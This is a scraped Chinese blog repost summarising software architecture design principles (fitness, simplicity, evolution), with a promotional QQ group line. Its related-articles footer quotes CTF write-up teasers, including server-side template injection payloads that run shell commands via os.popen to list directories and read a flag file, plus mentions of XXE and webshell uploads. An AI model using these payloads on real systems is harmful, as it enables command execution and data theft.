架构设计之初体验,送给准备进阶架构的朋友(个人总结)

news/2024/7/7 19:12:43 标签: python

2019独角兽企业重金招聘Python工程师标准>>> hot3.png

1 基本概念和目的

架构设计的基本概念和目的

 

架构设计的目的是为了解决系统复杂度带来的问题,并不是要面面俱到,不需要每个架构都具备高性能、高可用、高扩展等特点,而是要识别出实际业务实际情况的复杂点,然后有有针对性地解决问题,即:有的放矢,而不是贪大求全。 在实际情况中,不一定每个系统都要做架构设计,需要结合实际情况。有时候最简单的设计开发效率反而是最高的,架构设计毕竟要投入时间和人力,这部分投入如果用来尽早编码,项目也许会更快。

2 架构设计复杂度来源

高性能

高性能

 

高可用

高可用

 

可扩展性

可扩展性

 

低成本、安全、规模

低成本、安全、规模

 

3 架构设计三原则

架构设计三原则

 

合适原则

GFS为何在Google诞生,而不是在Microsoft诞生,其中Google有那么庞大的数据是一个主要因素,而不是因为Google的工程师比Microsoft的工程师更加聪明。

真正优秀的架构都是企业在当前人力、条件、业务等各方面约束条件下设计出来的,能够合理地将资源整合一起并发挥出最大功效,并且能迅速落地。这也是很多BAT出来的架构师到了小公司或者创业团队反而做不出成绩的原因,因为没有大公司的平台、资源、积累,只是生搬硬套大公司的做法,失败的效率非常高。

简单原则

软件领域的复杂性

 

无论是结构的复杂性还是逻辑的复杂性,都会存在各种问题,所以架构设计时如果简单方案和复杂的方案都可以满足需求,最好选择简单的方案。《UNIX编程艺术》总结的KISS(Keep It Simple,Stupid!)原则一样适用于架构设计。

演化原则

对于软件系统来说,变化才是主题。软件架构需要根据业务的发展而不断变化。 如果没有把握“软件架构需要根据业务发展不断变化”这个本质,在做架构设计的时候就很容易陷入一个误区:试图一步到位设计一个软件架构,期望不管业务如何变化,架构都稳如磐石。

为了实现这样的目标,要么照搬业界大公司公开发表的方案;要么投入庞大的资源和时间来做各种各样的预测、分析、设计。无论哪种做法,后果都很明显:投入巨大,落地遥遥无期。更让人沮丧的是,就算跌跌撞撞拼死拼活终于落地,却发现很多预测和分析都是不靠谱的。

实践中,架构师要提醒自己不要贪大求全,遵循演化优于一步到位的原则,因为业务的发展和变化总是很快的,**无论多牛的团队,都不可能完美预测所有的业务发展和变化路径。**实践中可以参考如下建议:

  • 首先,设计出来的架构要满足当时的业务需要

  • 其次,架构要不断地在实际应用过程中迭代,保留优秀的设计,修复有缺陷的设计,改正错误的设计,去掉无用的设计,使得架构逐渐完善。

  • 第三,当业务发生变化时,架构要扩展、重构,甚至重写;代码也许会重写,但有价值的经验、教训、逻辑、设计等却可以在新架构中延续。

  • 在这里推荐一个学习架构的群:433540541,进群可以免费获取到架构学习资料,希望能够帮到现在想要进阶架构,遇到职业瓶颈的朋友。

4 架构设计的流程

架构设计的流程

 

转载于:https://my.oschina.net/u/3833719/blog/1835201


http://www.niftyadmin.cn/n/1621474.html

相关文章

阿里巴巴java开发手册学习记录,php版

一.编程规约 (一)命名风格 1.目录使用小写下划线 home,view,model,admin_view 2.类 UpperCamelCase PhpMailer方法 lowerCamelCase getUserName属性 lowerCamelCase tableName函数 小写字母和下划线 get_client_ip 常量 全部大写 PASSWORD 如果模块、接口、类、方法使用了设计模…

ctfshow-SSTI

SSTI web361 payload: ?name{{ config.__class__.__init__.__globals__[os].popen(ls).read() }}?name{{ config.__class__.__init__.__globals__[os].popen(ls ../).read() }}之后打开 ?name{{ config.__class__.__init__.__globals__[os].popen(cat ../fla…

ctfshow--node.js漏洞

一些漏洞: 危险函数所导致的命令执行 eval() eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。 简单例子&#…

Vue 后台权限控制解决方案

2019独角兽企业重金招聘Python工程师标准>>> Vue2.0用户权限控制解决方案 .Vue 手把手写后台 .基于 vue2 element-ui 构建的后台管理系统微人事是一个前后端分离的人力资源管理系统vueiview 动态路由和权限验证 .端框架iviewui使用示例之菜单多Tab页布局Vue2 后台管…

ctfshow--xxe

xxe web373 查看源码: error_reporting(0); libxml_disable_entity_loader(false); $xmlfile file_get_contents(php://input); if(isset($xmlfile)){$dom new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds simplexml_im…

震惊!被这样开发的P2P分发下载技术

如果提起P2P分发技术的一些应用,你还是只能想到快播和网贷,那就真是OUT了。虽然大家对P2P褒贬不一,但都不可否认P2P分发技术是一项伟大的技术发明。这一项伟大发明从面世起在技术应用上也是经历了几代大起大落,认真观察过它应用领…

WEB-ctfshow入门文件包含

web151 查看源码可以发现只能上传png图片 修改为php 修改上传格式为php,上传一句话马,蚁剑连接得flag web152 后端校验 上传一句话,png文件用burp抓包 修改文件名后缀为php,访问被解析,蚁剑连接得flag。 web153 打开发现/upload下存在index.php…

利用SimpleMDE打造类似简书、掘金的markdown编辑器

最近在寻找适合web端的markdown编辑器,一直没有发现太合适的,直到发现 SimpleMDE,也可以直接在 Github上查看对应的说明信息, 安装 通过 npmnpm install simplemde --save 复制代码通过 bowerbower install simplemde --save 复制…